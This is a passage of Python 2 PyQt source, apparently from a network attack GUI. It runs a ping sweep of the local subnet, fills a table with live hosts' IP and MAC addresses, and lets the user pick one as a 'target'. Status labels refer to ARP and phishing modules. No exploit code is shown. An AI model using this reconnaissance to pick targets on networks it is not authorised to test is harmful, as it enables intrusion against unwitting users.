self.movie_screen.setDisabled(True) 343 | self.tables.setVisible(False) 344 | config_gateway = str(self.txt_gateway.text()) 345 | scan = '' 346 | config_gateway = config_gateway.split('.') 347 | del config_gateway[-1] 348 | for i in config_gateway: 349 | scan += str(i) + '.' 350 | self.ThreadScanner = ThreadScan(scan + '0/24') 351 | self.connect(self.ThreadScanner,SIGNAL('Activated ( QString ) '), self.thread_scan_reveice) 352 | self.StatusMonitor(True,'stas_scan') 353 | self.ThreadScanner.start() 354 | else: 355 | QMessageBox.information(self,'Error in gateway','gateway not found.') 356 | 357 | elif threadscan_check == 'Ping': 358 | if self.txt_gateway.text() != '': 359 | config = str(self.txt_gateway.text()) 360 | t = threading.Thread(target=self.scanner_network,args=(config,)) 361 | t.daemon = True 362 | t.start(),t.join() 363 | self.StatusMonitor(False,'stas_scan') 364 | else: 365 | QMessageBox.information(self,'Error in gateway','gateway not found.') 366 | else: 367 | QMessageBox.information(self,'Error on select thread Scan','thread scan not selected.') 368 | 369 | def working(self,ip,lista): 370 | with open(devnull, 'wb') as limbo: 371 | result=subprocess.Popen(['ping', '-c', '1', '-n', '-W', '1', ip], 372 | stdout=limbo, stderr=limbo).wait() 373 | if not result: 374 | print('online',ip) 375 | lista[ip] = ip + '|' + self.module_network.get_mac(ip) 376 | 377 | def scanner_network(self,gateway): 378 | scan = '' 379 | config_gateway = gateway.split('.') 380 | del config_gateway[-1] 381 | for i in config_gateway: 382 | scan += str(i) + '.' 383 | gateway = scan 384 | ranger = str(self.ip_range.text()).split('-') 385 | jobs = [] 386 | manager = Manager() 387 | on_ips = manager.dict() 388 | for n in xrange(int(ranger[0]),int(ranger[1])): 389 | ip='%s{0}'.format(n)%(gateway) 390 | p = Process(target=self.working,args=(ip,on_ips)) 391 | jobs.append(p) 392 | p.start() 393 | for i in jobs: i.join() 394 | for i in on_ips.values(): 395 | Headers = [] 396 | n = i.split('|') 397 | self.data['IPaddress'].append(n[0]) 398 | self.data['MacAddress'].append(n[1]) 399 | self.data['Hostname'].append('') 400 | for n, key in enumerate(reversed(self.data.keys())): 401 | Headers.append(key) 402 | for m, item in enumerate(self.data[key]): 403 | item = QTableWidgetItem(item) 404 | item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) 405 | self.tables.setItem(m, n, item) 406 | Headers = [] 407 | for key in reversed(self.data.keys()): 408 | Headers.append(key) 409 | self.tables.setHorizontalHeaderLabels(Headers) 410 | 411 | def Stop_scan(self): 412 | self.ThreadScanner.terminate() 413 | self.StatusMonitor(False,'stas_scan') 414 | Headers = [] 415 | for key in reversed(self.data.keys()): 416 | Headers.append(key) 417 | self.tables.setHorizontalHeaderLabels(Headers) 418 | self.tables.setVisible(True) 419 | 420 | def StatusMonitor(self,bool,wid): 421 | if bool and wid == 'stas_scan': 422 | self.txt_status_scan.setText('[ ON ]') 423 | self.txt_status_scan.setStyleSheet('QLabel { color : green; }') 424 | elif not bool and wid == 'stas_scan': 425 | self.txt_status_scan.setText('[ OFF ]') 426 | self.txt_status_scan.setStyleSheet('QLabel { color : red; }') 427 | elif bool and wid == 'stas_arp': 428 | self.txt_statusarp.setText('[ ON ]') 429 | self.txt_statusarp.setStyleSheet('QLabel { color : green; }') 430 | elif not bool and wid == 'stas_arp': 431 | self.txt_statusarp.setText('[ OFF ]') 432 | self.txt_statusarp.setStyleSheet('QLabel { color : red; }') 433 | elif bool and wid == 'stas_phishing': 434 | self.txt_status_phishing.setText('[ ON ]') 435 | self.txt_status_phishing.setStyleSheet('QLabel { color : green; }') 436 | elif not bool and wid == 'stas_phishing': 437 | self.txt_status_phishing.setText('[ OFF ]') 438 | self.txt_status_phishing.setStyleSheet('QLabel { color : red; }') 439 | 440 | 441 | @pyqtSlot(QModelIndex) 442 | def list_clicked_scan(self, index): 443 | item = self.tables.selectedItems() 444 | if item != []: 445 | self.txt_target.setText(item[0].text()) 446 | else: 447 | self.txt_target.clear() 448 | --------------------------------------------------------------------------------